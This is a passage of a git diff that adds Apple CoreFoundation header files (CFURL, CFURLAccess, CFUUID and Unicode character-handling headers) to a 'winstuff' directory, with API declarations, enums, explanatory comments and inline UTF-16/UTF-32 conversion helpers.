CFURLHasDirectoryPath(CFURLRef anURL); + +/* Any additional resource specifiers after the path. For URLs */ +/* that cannot be decomposed, this is everything except the scheme itself. */ +CF_EXPORT +CFStringRef CFURLCopyResourceSpecifier(CFURLRef anURL); + +CF_EXPORT +CFStringRef CFURLCopyHostName(CFURLRef anURL); + +CF_EXPORT +SInt32 CFURLGetPortNumber(CFURLRef anURL); /* Returns -1 if no port number is specified */ + +CF_EXPORT +CFStringRef CFURLCopyUserName(CFURLRef anURL); + +CF_EXPORT +CFStringRef CFURLCopyPassword(CFURLRef anURL); + +/* These remove all percent escape sequences except those for */ +/* characters in charactersToLeaveEscaped. If charactersToLeaveEscaped */ +/* is empty (""), all percent escape sequences are replaced by their */ +/* corresponding characters. If charactersToLeaveEscaped is NULL, */ +/* then no escape sequences are removed at all */ +CF_EXPORT +CFStringRef CFURLCopyParameterString(CFURLRef anURL, CFStringRef charactersToLeaveEscaped); + +CF_EXPORT +CFStringRef CFURLCopyQueryString(CFURLRef anURL, CFStringRef charactersToLeaveEscaped); + +CF_EXPORT +CFStringRef CFURLCopyFragment(CFURLRef anURL, CFStringRef charactersToLeaveEscaped); + +CF_EXPORT +CFStringRef CFURLCopyLastPathComponent(CFURLRef url); + +CF_EXPORT +CFStringRef CFURLCopyPathExtension(CFURLRef url); + +/* These functions all treat the base URL of the supplied url as */ +/* invariant. In other words, the URL returned will always have */ +/* the same base as the URL supplied as an argument. */ + +CF_EXPORT +CFURLRef CFURLCreateCopyAppendingPathComponent(CFAllocatorRef allocator, CFURLRef url, CFStringRef pathComponent, Boolean isDirectory); + +CF_EXPORT +CFURLRef CFURLCreateCopyDeletingLastPathComponent(CFAllocatorRef allocator, CFURLRef url); + +CF_EXPORT +CFURLRef CFURLCreateCopyAppendingPathExtension(CFAllocatorRef allocator, CFURLRef url, CFStringRef extension); + +CF_EXPORT +CFURLRef CFURLCreateCopyDeletingPathExtension(CFAllocatorRef allocator, CFURLRef url); + +#if MAC_OS_X_VERSION_10_3 <= MAC_OS_X_VERSION_MAX_ALLOWED +/* Fills buffer with the bytes for url, returning the number of bytes */ +/* filled. If buffer is of insufficient size, returns -1 and no bytes */ +/* are placed in buffer. If buffer is NULL, the needed length is */ +/* computed and returned. The returned bytes are the original bytes */ +/* from which the URL was created; if the URL was created from a */ +/* string, the bytes will be the bytes of the string encoded via UTF-8 */ +CF_EXPORT +CFIndex CFURLGetBytes(CFURLRef url, UInt8 *buffer, CFIndex bufferLength) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +enum { + kCFURLComponentScheme = 1, + kCFURLComponentNetLocation = 2, + kCFURLComponentPath = 3, + kCFURLComponentResourceSpecifier = 4, + + kCFURLComponentUser = 5, + kCFURLComponentPassword = 6, + kCFURLComponentUserInfo = 7, + kCFURLComponentHost = 8, + kCFURLComponentPort = 9, + kCFURLComponentParameterString = 10, + kCFURLComponentQuery = 11, + kCFURLComponentFragment = 12 +}; +typedef CFIndex CFURLComponentType; + +/* +Gets the range of the requested component in the bytes of url, as +returned by CFURLGetBytes(). This range is only good for use in the +bytes returned by CFURLGetBytes! + +If non-NULL, rangeIncludingSeparators gives the range of component +including the sequences that separate component from the previous and +next components. If there is no previous or next component, that end of +rangeIncludingSeparators will match the range of the component itself. +If url does not contain the given component type, (kCFNotFound, 0) is +returned, and rangeIncludingSeparators is set to the location where the +component would be inserted. Some examples - + +For the URL http://www.apple.com/hotnews/ + +Component returned range rangeIncludingSeparators +scheme (0, 4) (0, 7) +net location (7, 13) (4, 16) +path (20, 9) (20, 9) +resource specifier (kCFNotFound, 0) (29, 0) +user (kCFNotFound, 0) (7, 0) +password (kCFNotFound, 0) (7, 0) +user info (kCFNotFound, 0) (7, 0) +host (7, 13) (4, 16) +port (kCFNotFound, 0) (20, 0) +parameter (kCFNotFound, 0) (29, 0) +query (kCFNotFound, 0) (29, 0) +fragment (kCFNotFound, 0) (29, 0) + + +For the URL ./relPath/file.html#fragment + +Component returned range rangeIncludingSeparators +scheme (kCFNotFound, 0) (0, 0) +net location (kCFNotFound, 0) (0, 0) +path (0, 19) (0, 20) +resource specifier (20, 8) (19, 9) +user (kCFNotFound, 0) (0, 0) +password (kCFNotFound, 0) (0, 0) +user info (kCFNotFound, 0) (0, 0) +host (kCFNotFound, 0) (0, 0) +port (kCFNotFound, 0) (0, 0) +parameter (kCFNotFound, 0) (19, 0) +query (kCFNotFound, 0) (19, 0) +fragment (20, 8) (19, 9) + + +For the URL scheme://user:pass@host:1/path/path2/file.html;params?query#fragment + +Component returned range rangeIncludingSeparators +scheme (0, 6) (0, 9) +net location (9, 16) (6, 19) +path (25, 21) (25, 22) +resource specifier (47, 21) (46, 22) +user (9, 4) (6, 8) +password (14, 4) (13, 6) +user info (9, 9) (6, 13) +host (19, 4) (18, 6) +port (24, 1) (23, 2) +parameter (47, 6) (46, 8) +query (54, 5) (53, 7) +fragment (60, 8) (59, 9) +*/ +CF_EXPORT +CFRange CFURLGetByteRangeForComponent(CFURLRef url, CFURLComponentType component, CFRange *rangeIncludingSeparators) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; +#endif + +/* Returns a string with any percent escape sequences that do NOT */ +/* correspond to characters in charactersToLeaveEscaped with their */ +/* equivalent. Returns NULL on failure (if an invalid percent sequence */ +/* is encountered), or the original string (retained) if no characters */ +/* need to be replaced. Pass NULL to request that no percent escapes be */ +/* replaced, or the empty string (CFSTR("")) to request that all percent */ +/* escapes be replaced. Uses UTF8 to interpret percent escapes. */ +CF_EXPORT +CFStringRef CFURLCreateStringByReplacingPercentEscapes(CFAllocatorRef allocator, CFStringRef originalString, CFStringRef charactersToLeaveEscaped); + +#if MAC_OS_X_VERSION_10_3 <= MAC_OS_X_VERSION_MAX_ALLOWED +/* As above, but allows you to specify the encoding to use when interpreting percent escapes */ +CF_EXPORT +CFStringRef CFURLCreateStringByReplacingPercentEscapesUsingEncoding(CFAllocatorRef allocator, CFStringRef origString, CFStringRef charsToLeaveEscaped, CFStringEncoding encoding) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; +#endif + +/* Creates a copy or originalString, replacing certain characters with */ +/* the equivalent percent escape sequence based on the encoding specified. */ +/* If the originalString does not need to be modified (no percent escape */ +/* sequences are missing), may retain and return originalString. */ +/* If you are uncertain of the correct encoding, you should use UTF-8, */ +/* which is the encoding designated by RFC 2396 as the correct encoding */ +/* for use in URLs. The characters so escaped are all characters that */ +/* are not legal URL characters (based on RFC 2396), plus any characters */ +/* in legalURLCharactersToBeEscaped, less any characters in */ +/* charactersToLeaveUnescaped. To simply correct any non-URL characters */ +/* in an otherwise correct URL string, do: */ + +/* newString = CFURLCreateStringByAddingPercentEscapes(kCFAllocatorDefault, origString, NULL, NULL, kCFStringEncodingUTF8); */ +CF_EXPORT +CFStringRef CFURLCreateStringByAddingPercentEscapes(CFAllocatorRef allocator, CFStringRef originalString, CFStringRef charactersToLeaveUnescaped, CFStringRef legalURLCharactersToBeEscaped, CFStringEncoding encoding); + +#ifndef CF_OPEN_SOURCE +#if (TARGET_OS_MAC && !(TARGET_OS_EMBEDDED || TARGET_OS_IPHONE)) || (TARGET_OS_EMBEDDED || TARGET_OS_IPHONE) + +struct FSRef; + +CF_EXPORT +CFURLRef CFURLCreateFromFSRef(CFAllocatorRef allocator, const struct FSRef *fsRef); + +CF_EXPORT +Boolean CFURLGetFSRef(CFURLRef url, struct FSRef *fsRef); + +#endif +#endif + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFURL__ */ + diff --git a/winstuff/CoreFoundation/CFURLAccess.h b/winstuff/CoreFoundation/CFURLAccess.h new file mode 100644 index 0000000..2195318 --- /dev/null +++ b/winstuff/CoreFoundation/CFURLAccess.h @@ -0,0 +1,110 @@ +/* CFURLAccess.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFURLACCESS__) +#define __COREFOUNDATION_CFURLACCESS__ 1 + +#include +#include +#include +#include +#include +#include + +CF_EXTERN_C_BEGIN + +/* Attempts to read the data and properties for the given URL. If +only interested in one of the resourceData and properties, pass NULL +for the other. If properties is non-NULL and desiredProperties is +NULL, then all properties are fetched. Returns success or failure; +note that as much work as possible is done even if false is returned. +So for instance if one property is not available, the others are +fetched anyway. errorCode is set to 0 on success, and some other +value on failure. If non-NULL, it is the caller 's responsibility +to release resourceData and properties. + + Apple reserves for its use all negative error code values; these +values represent errors common to any scheme. Scheme-specific error +codes should be positive, non-zero, and should be used only if one of +the predefined Apple error codes does not apply. Error codes should +be publicized and documented with the scheme-specific properties. + +NOTE: When asking for the resource data, this call will allocate the entire +resource in memory. This can be very expensive, depending on the size of the +resource (file). Please use CFStream or other techniques if you are downloading +large files. + +*/ +CF_EXPORT +Boolean CFURLCreateDataAndPropertiesFromResource(CFAllocatorRef alloc, CFURLRef url, CFDataRef *resourceData, CFDictionaryRef *properties, CFArrayRef desiredProperties, SInt32 *errorCode); + +/* Attempts to write the given data and properties to the given URL. +If dataToWrite is NULL, only properties are written out (use +CFURLDestroyResource() to delete a resource). Properties not present +in propertiesToWrite are left unchanged, hence if propertiesToWrite +is NULL or empty, the URL's properties are not changed at all. +Returns success or failure; errorCode is set as for +CFURLCreateDataAndPropertiesFromResource(), above. +*/ +CF_EXPORT +Boolean CFURLWriteDataAndPropertiesToResource(CFURLRef url, CFDataRef dataToWrite, CFDictionaryRef propertiesToWrite, SInt32 *errorCode); + +/* Destroys the resource indicated by url. */ +/* Returns success or failure; errorCode set as above. */ +CF_EXPORT +Boolean CFURLDestroyResource(CFURLRef url, SInt32 *errorCode); + +/* Convenience method which calls through to CFURLCreateDataAndPropertiesFromResource(). */ +/* Returns NULL on error and sets errorCode accordingly. */ +CF_EXPORT +CFTypeRef CFURLCreatePropertyFromResource(CFAllocatorRef alloc, CFURLRef url, CFStringRef property, SInt32 *errorCode); + +/* Common error codes; this list is expected to grow */ +enum { + kCFURLUnknownError = -10, + kCFURLUnknownSchemeError = -11, + kCFURLResourceNotFoundError = -12, + kCFURLResourceAccessViolationError = -13, + kCFURLRemoteHostUnavailableError = -14, + kCFURLImproperArgumentsError = -15, + kCFURLUnknownPropertyKeyError = -16, + kCFURLPropertyKeyUnavailableError = -17, + kCFURLTimeoutError = -18 +}; +typedef CFIndex CFURLError; + +/* Property keys */ + +CF_EXPORT +const CFStringRef kCFURLFileExists; +CF_EXPORT +const CFStringRef kCFURLFileDirectoryContents; +CF_EXPORT +const CFStringRef kCFURLFileLength; +CF_EXPORT +const CFStringRef kCFURLFileLastModificationTime; +CF_EXPORT +const CFStringRef kCFURLFilePOSIXMode; +CF_EXPORT +const CFStringRef kCFURLFileOwnerID; +CF_EXPORT +const CFStringRef kCFURLHTTPStatusCode; +CF_EXPORT +const CFStringRef kCFURLHTTPStatusLine; + +/* The value of kCFURLFileExists is a CFBoolean */ +/* The value of kCFURLFileDirectoryContents is a CFArray containing CFURLs. An empty array means the directory exists, but is empty */ +/* The value of kCFURLFileLength is a CFNumber giving the file's length in bytes */ +/* The value of kCFURLFileLastModificationTime is a CFDate */ +/* The value of kCFURLFilePOSIXMode is a CFNumber as given in stat.h */ +/* The value of kCFURLFileOwnerID is a CFNumber representing the owner's uid */ + +/* Properties for the http: scheme. Except for the common error codes, above, errorCode will be set to the HTTP response status code upon failure. Any HTTP header name can also be used as a property */ +/* The value of kCFURLHTTPStatusCode is a CFNumber */ +/* The value of kCFURLHTTPStatusLine is a CFString */ + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFURLACCESS__ */ + diff --git a/winstuff/CoreFoundation/CFUUID.h b/winstuff/CoreFoundation/CFUUID.h new file mode 100644 index 0000000..7ea66e7 --- /dev/null +++ b/winstuff/CoreFoundation/CFUUID.h @@ -0,0 +1,71 @@ +/* CFUUID.h + Copyright (c) 1999-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFUUID__) +#define __COREFOUNDATION_CFUUID__ 1 + +#include +#include + +CF_EXTERN_C_BEGIN + +typedef const struct __CFUUID * CFUUIDRef; + +typedef struct { + UInt8 byte0; + UInt8 byte1; + UInt8 byte2; + UInt8 byte3; + UInt8 byte4; + UInt8 byte5; + UInt8 byte6; + UInt8 byte7; + UInt8 byte8; + UInt8 byte9; + UInt8 byte10; + UInt8 byte11; + UInt8 byte12; + UInt8 byte13; + UInt8 byte14; + UInt8 byte15; +} CFUUIDBytes; +/* The CFUUIDBytes struct is a 128-bit struct that contains the +raw UUID. A CFUUIDRef can provide such a struct from the +CFUUIDGetUUIDBytes() function. This struct is suitable for +passing to APIs that expect a raw UUID. +*/ + +CF_EXPORT +CFTypeID CFUUIDGetTypeID(void); + +CF_EXPORT +CFUUIDRef CFUUIDCreate(CFAllocatorRef alloc); + /* Create and return a brand new unique identifier */ + +CF_EXPORT +CFUUIDRef CFUUIDCreateWithBytes(CFAllocatorRef alloc, UInt8 byte0, UInt8 byte1, UInt8 byte2, UInt8 byte3, UInt8 byte4, UInt8 byte5, UInt8 byte6, UInt8 byte7, UInt8 byte8, UInt8 byte9, UInt8 byte10, UInt8 byte11, UInt8 byte12, UInt8 byte13, UInt8 byte14, UInt8 byte15); + /* Create and return an identifier with the given contents. This may return an existing instance with its ref count bumped because of uniquing. */ + +CF_EXPORT +CFUUIDRef CFUUIDCreateFromString(CFAllocatorRef alloc, CFStringRef uuidStr); + /* Converts from a string representation to the UUID. This may return an existing instance with its ref count bumped because of uniquing. */ + +CF_EXPORT +CFStringRef CFUUIDCreateString(CFAllocatorRef alloc, CFUUIDRef uuid); + /* Converts from a UUID to its string representation. */ + +CF_EXPORT +CFUUIDRef CFUUIDGetConstantUUIDWithBytes(CFAllocatorRef alloc, UInt8 byte0, UInt8 byte1, UInt8 byte2, UInt8 byte3, UInt8 byte4, UInt8 byte5, UInt8 byte6, UInt8 byte7, UInt8 byte8, UInt8 byte9, UInt8 byte10, UInt8 byte11, UInt8 byte12, UInt8 byte13, UInt8 byte14, UInt8 byte15); + /* This returns an immortal CFUUIDRef that should not be released. It can be used in headers to declare UUID constants with #define. */ + +CF_EXPORT +CFUUIDBytes CFUUIDGetUUIDBytes(CFUUIDRef uuid); + +CF_EXPORT +CFUUIDRef CFUUIDCreateFromUUIDBytes(CFAllocatorRef alloc, CFUUIDBytes bytes); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFUUID__ */ + diff --git a/winstuff/CoreFoundation/CFUniChar.h b/winstuff/CoreFoundation/CFUniChar.h new file mode 100644 index 0000000..b9b8c39 --- /dev/null +++ b/winstuff/CoreFoundation/CFUniChar.h @@ -0,0 +1,267 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFUniChar.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFUNICHAR__) +#define __COREFOUNDATION_CFUNICHAR__ 1 + + +#include +#include + +CF_EXTERN_C_BEGIN + +#define kCFUniCharBitShiftForByte (3) +#define kCFUniCharBitShiftForMask (7) + +CF_INLINE bool CFUniCharIsSurrogateHighCharacter(UniChar character) { + return ((character >= 0xD800UL) && (character <= 0xDBFFUL) ? true : false); +} + +CF_INLINE bool CFUniCharIsSurrogateLowCharacter(UniChar character) { + return ((character >= 0xDC00UL) && (character <= 0xDFFFUL) ? true : false); +} + +CF_INLINE UTF32Char CFUniCharGetLongCharacterForSurrogatePair(UniChar surrogateHigh, UniChar surrogateLow) { + return ((surrogateHigh - 0xD800UL) << 10) + (surrogateLow - 0xDC00UL) + 0x0010000UL; +} + +// The following values coinside TextEncodingFormat format defines in TextCommon.h +enum { + kCFUniCharUTF16Format = 0, + kCFUniCharUTF8Format = 2, + kCFUniCharUTF32Format = 3 +}; + +CF_INLINE bool CFUniCharIsMemberOfBitmap(UTF16Char theChar, const uint8_t *bitmap) { + return (bitmap && (bitmap[(theChar) >> kCFUniCharBitShiftForByte] & (((uint32_t)1) << (theChar & kCFUniCharBitShiftForMask))) ? true : false); +} + +CF_INLINE void CFUniCharAddCharacterToBitmap(UTF16Char theChar, uint8_t *bitmap) { + bitmap[(theChar) >> kCFUniCharBitShiftForByte] |= (((uint32_t)1) << (theChar & kCFUniCharBitShiftForMask)); +} + +CF_INLINE void CFUniCharRemoveCharacterFromBitmap(UTF16Char theChar, uint8_t *bitmap) { + bitmap[(theChar) >> kCFUniCharBitShiftForByte] &= ~(((uint32_t)1) << (theChar & kCFUniCharBitShiftForMask)); +} + +enum { + kCFUniCharControlCharacterSet = 1, + kCFUniCharWhitespaceCharacterSet, + kCFUniCharWhitespaceAndNewlineCharacterSet, + kCFUniCharDecimalDigitCharacterSet, + kCFUniCharLetterCharacterSet, + kCFUniCharLowercaseLetterCharacterSet, + kCFUniCharUppercaseLetterCharacterSet, + kCFUniCharNonBaseCharacterSet, + kCFUniCharCanonicalDecomposableCharacterSet, + kCFUniCharDecomposableCharacterSet = kCFUniCharCanonicalDecomposableCharacterSet, + kCFUniCharAlphaNumericCharacterSet, + kCFUniCharPunctuationCharacterSet, + kCFUniCharIllegalCharacterSet, + kCFUniCharTitlecaseLetterCharacterSet, + kCFUniCharSymbolAndOperatorCharacterSet, + kCFUniCharNewlineCharacterSet, + + kCFUniCharCompatibilityDecomposableCharacterSet = 100, // internal character sets begins here + kCFUniCharHFSPlusDecomposableCharacterSet, + kCFUniCharStrongRightToLeftCharacterSet, + kCFUniCharHasNonSelfLowercaseCharacterSet, + kCFUniCharHasNonSelfUppercaseCharacterSet, + kCFUniCharHasNonSelfTitlecaseCharacterSet, + kCFUniCharHasNonSelfCaseFoldingCharacterSet, + kCFUniCharHasNonSelfMirrorMappingCharacterSet, + kCFUniCharControlAndFormatterCharacterSet, + kCFUniCharCaseIgnorableCharacterSet, + kCFUniCharGraphemeExtendCharacterSet +}; + +CF_EXPORT bool CFUniCharIsMemberOf(UTF32Char theChar, uint32_t charset); + +// This function returns NULL for kCFUniCharControlCharacterSet, kCFUniCharWhitespaceCharacterSet, kCFUniCharWhitespaceAndNewlineCharacterSet, & kCFUniCharIllegalCharacterSet +CF_EXPORT const uint8_t *CFUniCharGetBitmapPtrForPlane(uint32_t charset, uint32_t plane); + +enum { + kCFUniCharBitmapFilled = (uint8_t)0, + kCFUniCharBitmapEmpty = (uint8_t)0xFF, + kCFUniCharBitmapAll = (uint8_t)1 +}; + +CF_EXPORT uint8_t CFUniCharGetBitmapForPlane(uint32_t charset, uint32_t plane, void *bitmap, bool isInverted); + +CF_EXPORT uint32_t CFUniCharGetNumberOfPlanes(uint32_t charset); + +enum { + kCFUniCharToLowercase = 0, + kCFUniCharToUppercase, + kCFUniCharToTitlecase, + kCFUniCharCaseFold +}; + +enum { + kCFUniCharCaseMapFinalSigma = (1), + kCFUniCharCaseMapAfter_i = (1 << 1), + kCFUniCharCaseMapMoreAbove = (1 << 2) +}; + +CF_EXPORT CFIndex CFUniCharMapCaseTo(UTF32Char theChar, UTF16Char *convertedChar, CFIndex maxLength, uint32_t ctype, uint32_t flags, const uint8_t *langCode); + +CF_EXPORT uint32_t CFUniCharGetConditionalCaseMappingFlags(UTF32Char theChar, UTF16Char *buffer, CFIndex currentIndex, CFIndex length, uint32_t type, const uint8_t *langCode, uint32_t lastFlags); + +enum { + kCFUniCharBiDiPropertyON = 0, + kCFUniCharBiDiPropertyL, + kCFUniCharBiDiPropertyR, + kCFUniCharBiDiPropertyAN, + kCFUniCharBiDiPropertyEN, + kCFUniCharBiDiPropertyAL, + kCFUniCharBiDiPropertyNSM, + kCFUniCharBiDiPropertyCS, + kCFUniCharBiDiPropertyES, + kCFUniCharBiDiPropertyET, + kCFUniCharBiDiPropertyBN, + kCFUniCharBiDiPropertyS, + kCFUniCharBiDiPropertyWS, + kCFUniCharBiDiPropertyB, + kCFUniCharBiDiPropertyRLO, + kCFUniCharBiDiPropertyRLE, + kCFUniCharBiDiPropertyLRO, + kCFUniCharBiDiPropertyLRE, + kCFUniCharBiDiPropertyPDF +}; + +enum { + kCFUniCharCombiningProperty = 0, + kCFUniCharBidiProperty +}; + +// The second arg 'bitmap' has to be the pointer to a specific plane +CF_INLINE uint8_t CFUniCharGetBidiPropertyForCharacter(UTF16Char character, const uint8_t *bitmap) { + if (bitmap) { + uint8_t value = bitmap[(character >> 8)]; + + if (value > kCFUniCharBiDiPropertyPDF) { + bitmap = bitmap + 256 + ((value - kCFUniCharBiDiPropertyPDF - 1) * 256); + return bitmap[character % 256]; + } else { + return value; + } + } + return kCFUniCharBiDiPropertyL; +} + +CF_INLINE uint8_t CFUniCharGetCombiningPropertyForCharacter(UTF16Char character, const uint8_t *bitmap) { + if (bitmap) { + uint8_t value = bitmap[(character >> 8)]; + + if (value) { + bitmap = bitmap + 256 + ((value - 1) * 256); + return bitmap[character % 256]; + } + } + return 0; +} + +CF_EXPORT const void *CFUniCharGetUnicodePropertyDataForPlane(uint32_t propertyType, uint32_t plane); +CF_EXPORT uint32_t CFUniCharGetNumberOfPlanesForUnicodePropertyData(uint32_t propertyType); +CF_EXPORT uint32_t CFUniCharGetUnicodeProperty(UTF32Char character, uint32_t propertyType); + +CF_EXPORT bool CFUniCharFillDestinationBuffer(const UTF32Char *src, CFIndex srcLength, void **dst, CFIndex dstLength, CFIndex *filledLength, uint32_t dstFormat); + +// UTF32 support + +CF_INLINE bool CFUniCharToUTF32(const UTF16Char *src, CFIndex length, UTF32Char *dst, bool allowLossy, bool isBigEndien) { + const UTF16Char *limit = src + length; + UTF32Char character; + + while (src < limit) { + character = *(src++); + + if (CFUniCharIsSurrogateHighCharacter(character)) { + if ((src < limit) && CFUniCharIsSurrogateLowCharacter(*src)) { + character = CFUniCharGetLongCharacterForSurrogatePair(character, *(src++)); + } else { + if (!allowLossy) return false; + character = 0xFFFD; // replacement character + } + } else if (CFUniCharIsSurrogateLowCharacter(character)) { + if (!allowLossy) return false; + character = 0xFFFD; // replacement character + } + + *(dst++) = (isBigEndien ? CFSwapInt32HostToBig(character) : CFSwapInt32HostToLittle(character)); + } + + return true; +} + +CF_INLINE bool CFUniCharFromUTF32(const UTF32Char *src, CFIndex length, UTF16Char *dst, bool allowLossy, bool isBigEndien) { + const UTF32Char *limit = src + length; + UTF32Char character; + + while (src < limit) { + character = (isBigEndien ? CFSwapInt32BigToHost(*(src++)) : CFSwapInt32LittleToHost(*(src++))); + + if (character < 0xFFFF) { // BMP + if (allowLossy) { + if (CFUniCharIsSurrogateHighCharacter(character)) { + UTF32Char otherCharacter = 0xFFFD; // replacement character + + if (src < limit) { + otherCharacter = (isBigEndien ? CFSwapInt32BigToHost(*src) : CFSwapInt32LittleToHost(*src)); + + + if ((otherCharacter < 0x10000) && CFUniCharIsSurrogateLowCharacter(otherCharacter)) { + *(dst++) = character; ++src; + } else { + otherCharacter = 0xFFFD; // replacement character + } + } + + character = otherCharacter; + } else if (CFUniCharIsSurrogateLowCharacter(character)) { + character = 0xFFFD; // replacement character + } + } else { + if (CFUniCharIsSurrogateHighCharacter(character) || CFUniCharIsSurrogateLowCharacter(character)) return false; + } + } else if (character < 0x110000) { // non-BMP + character -= 0x10000; + *(dst++) = (UTF16Char)((character >> 10) + 0xD800UL); + character = (UTF16Char)((character & 0x3FF) + 0xDC00UL); + } else { + if (!allowLossy) return false; + character = 0xFFFD; // replacement character + } + + *(dst++) = character; + } + return true; +} + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFUNICHAR__ */ + diff --git a/winstuff/CoreFoundation/CFUniCharPriv.h b/winstuff/CoreFoundation/CFUniCharPriv.h new file mode 100644 index 0000000..f9667fa --- /dev/null +++ b/winstuff/CoreFoundation/CFUniCharPriv.h @@ -0,0 +1,47 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFUniCharPriv.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFUNICHARPRIV__) +#define __COREFOUNDATION_CFUNICHARPRIV__ 1 + +#include +#include + +#define kCFUniCharRecursiveDecompositionFlag (1 << 30) +#define kCFUniCharNonBmpFlag (1 << 31) +#define CFUniCharConvertCountToFlag(count) ((count & 0x1F) << 24) +#define CFUniCharConvertFlagToCount(flag) ((flag >> 24) & 0x1F) + +enum { + kCFUniCharCanonicalDecompMapping = (kCFUniCharCaseFold + 1), + kCFUniCharCanonicalPrecompMapping, + kCFUniCharCompatibilityDecompMapping +}; + +CF_EXPORT const void *CFUniCharGetMappingData(uint32_t type); + +#endif /* ! __COREFOUNDATION_CFUNICHARPRIV__ */ + diff --git a/winstuff/CoreFoundation/CFUnicodeDecomposition.h b/winstuff/CoreFoundation/CFUnicodeDecomposition.h new file mode 100644 index 0000000..7846344 --- /dev/null +++ b/winstuff/CoreFoundation/CFUnicodeDecomposition.h @@ -0,0 +1,55 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* + * CFUnicodeDecomposition.h + * CoreFoundation + * + * Created by aki on Wed Oct 03 2001. + * Copyright (c) 2001-2007, Apple Inc. All rights reserved. + * + */ + +#if !defined(__COREFOUNDATION_CFUNICODEDECOMPOSITION__) +#define __COREFOUNDATION_CFUNICODEDECOMPOSITION__ 1 + +#include + +CF_EXTERN_C_BEGIN + +CF_INLINE bool CFUniCharIsDecomposableCharacter(UTF32Char character, bool isHFSPlusCanonical) { + if (isHFSPlusCanonical && !isHFSPlusCanonical) return false; // hack to get rid of "unused" warning + if (character < 0x80) return false; + return CFUniCharIsMemberOf(character, kCFUniCharHFSPlusDecomposableCharacterSet); +} + +CF_EXPORT CFIndex CFUniCharDecomposeCharacter(UTF32Char character, UTF32Char *convertedChars, CFIndex maxBufferLength); +CF_EXPORT CFIndex CFUniCharCompatibilityDecompose(UTF32Char *convertedChars, CFIndex length, CFIndex maxBufferLength); + +CF_EXPORT bool CFUniCharDecompose(const UTF16Char *src, CFIndex length, CFIndex *consumedLength, void *dst, CFIndex maxLength, CFIndex *filledLength, bool needToReorder, uint32_t dstFormat, bool isHFSPlus); + +CF_EXPORT void CFUniCharPrioritySort(UTF32Char *characters, CFIndex length); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFUNICODEDECOMPOSITION__ */ + diff --git a/winstuff/CoreFoundation/CFUnicodePrecomposition.h b/winstuff/CoreFoundation/CFUnicodePrecomposition.h new file mode 100644 index 0000000..efa0428 --- /dev/null +++ b/winstuff/CoreFoundation/CFUnicodePrecomposition.h @@ -0,0 +1,47 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * 